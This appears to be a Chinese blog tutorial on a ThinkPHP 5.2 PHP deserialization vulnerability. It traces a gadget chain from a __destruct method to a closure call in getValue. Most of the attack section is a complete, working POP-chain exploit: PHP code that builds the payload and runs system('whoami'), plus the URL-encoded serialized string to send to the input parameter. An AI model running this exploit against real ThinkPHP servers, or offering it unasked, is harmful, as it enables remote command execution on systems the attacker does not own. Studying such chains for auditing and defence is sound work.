thinkphp5.2反序列化

thinkphp思路:

复制代码
1、确认thinkphp版本
2、查找入口点
3、输入点分析
4、敏感函数定位
5、pop链构造
6、利用与验证

以下事例主要以thinkphp5.2为例:

1、确认thinkphp版本

方法一:网页版本直接确认

方法二: 在composer.lock文件下查看

2、查找入口点(进入某个功能模块的"入口路径)

我是通过全局查找public function index发现的,入口点是/index/index

3、输入点分析

在上述图片中可判定输入点是input,并且并没有对input有限制,这一点很危险,并且对input传入的值直接进行了反序列化。

4、敏感函数定位

方法一:数据流追踪思路(看方法下面还有没有跟方法,有继续跟,没有则切换)

方法二:从 sink 往回追(找到危险函数,然后一步步往上看可控点)

重点查找__destruct() __wakeup() __toString() __call()看這些魔术方法,或者查找一些危险函数比如system() unlink() eval() file_put_contents()之类的。

我是在查找__destruct的时候,发现这个下面有removeFiles()这个方法,继续跟进

发现他调用了一个判断file_exists()的方法,通过查找官方文档得知,这个方法会调用一个echo,因此会使用到__tostring方法,因此跟进(这里将files的值赋给了filename,且files的类型是数组)

__toString()又調用了toJson()继续跟进

它里面调用了toArray()跟进

跟进toArray()则发现getAttr()继续

跟进发现getData()getValue()$namegetAttr($key)中key的值,又在getData中将name的值给$value

继续跟进getData()发现getRealFieldName()和array_key_exists(),其中array_key_exists()是数组中是否中存在指定键名(getData()中输出了value的值)

跟进发现里面是判断严格模式开关是否开启,开启则true,因此这里是原名输出

回到getAttr()跟进getValue()(其中name value在getData()中被赋值)跟进

跟进到getValue()发现触发点$value = $closure($value, $this->data);并且根据上述分析,发现$value、this->$data、$closure都是可控的,因此可以构造类似system(whoami,[])之类的,即使第二个参数为空也可以执行

$value的值是由getData()最终返回的值

$closure的是值是由withAttr数组中取出来的

this->$data的值是由模型属性控制的

5、pop链构造

__destruct ----> removeFiles() ---> file_exists() ---> __toString() ---> toJson() ---> toArray() ---> getAttr() ---> getValue

其次找出里面所使用过的变量之后开始写payload:

php 复制代码
<?
namespace think\process\pipes {
    class Windows{
        private $files = [];
        function __construct($files)
        {
            $this->files = $files;
        }
    }
}

namespace think\model\concern {
    trait Conversion{
        protected $visible;
    }

    trait RelationShip{
        private $relation;
    }

    trait Attribute{
        private $withAttr;
        private $data;
    }
}

namespace think {
    abstract class Model{
        use model\concern\RelationShip;
        use model\concern\Conversion;
        use model\concern\Attribute;

        function __construct($closure)
        {
            $this->data = $closure;
            $this->relation = [];
            $this->visible= [];
            $this->withAttr = array("paper"=>'system');
        }
    }
}

namespace think\model {
    class Pivot extends \think\Model{
        function __construct($closure)
        {
            parent::__construct($closure);
        }
    }
}
namespace{
    $pivot = new think\model\Pivot(['paper'=>'whoami']);
    $windows = new think\process\pipes\Windows([$pivot]);
    echo urlencode(serialize($windows));
}
?>

6、利用与验证

urlencode之后的序列化编码:

O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A4%3A%7Bs%3A21%3A%22%00think%5CModel%00relation%22%3Ba%3A0%3A%7B%7Ds%3A10%3A%22%00%2A%00visible%22%3Ba%3A0%3A%7B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22paper%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22paper%22%3Bs%3A6%3A%22whoami%22%3B%7D%7D%7D%7D

随后在给input传入

相关推荐
隐擎fox4 小时前
深入理解网络传输层安全:TLS 指纹识别(JA3/JA4)原理与 Python 协议层检测实战
爬虫·python·网络协议·安全·网络安全·https
游戏开发爱好者84 小时前
网络连接排查指南,谁在电脑后台偷跑流量,哪些程序在联网
网络协议·计算机网络·网络安全·ios·adb·https·udp
白猫不黑8 小时前
大学网安方向学习路线:零基础与有基础的学习顺序整理
学习·web安全·计算机·网络安全·信息安全·编程·src漏洞
北京盛世宏博10 小时前
物联网传感器通信协议:帧字段规划、CRC 校验、异常包过滤方案
网络·物联网·php
三84410 小时前
PHP Session 反序列化:防御加固、审计套路与总结
web安全·php·安全加固·session反序列化
中科三方11 小时前
DNS拨测到底在拨测什么?
开发语言·github·php·dns·云拨测
企业通信技术笔记11 小时前
企业IM内外网隔离部署:DNS、证书、WebSocket与跨网接口设计
websocket·网络协议·架构·php·信息与通信
szarron12 小时前
RF Demo Kit|NanoVNA 射频演示测试板完整上手教程,滤波器、衰减器、SOLT 校准学习板
开发语言·人工智能·学习·php·射频工程·频谱仪
数据知道15 小时前
哈希与密码存储——bcrypt、Argon2、盐值与彩虹表
网络·算法·安全·网络安全·密码学·哈希算法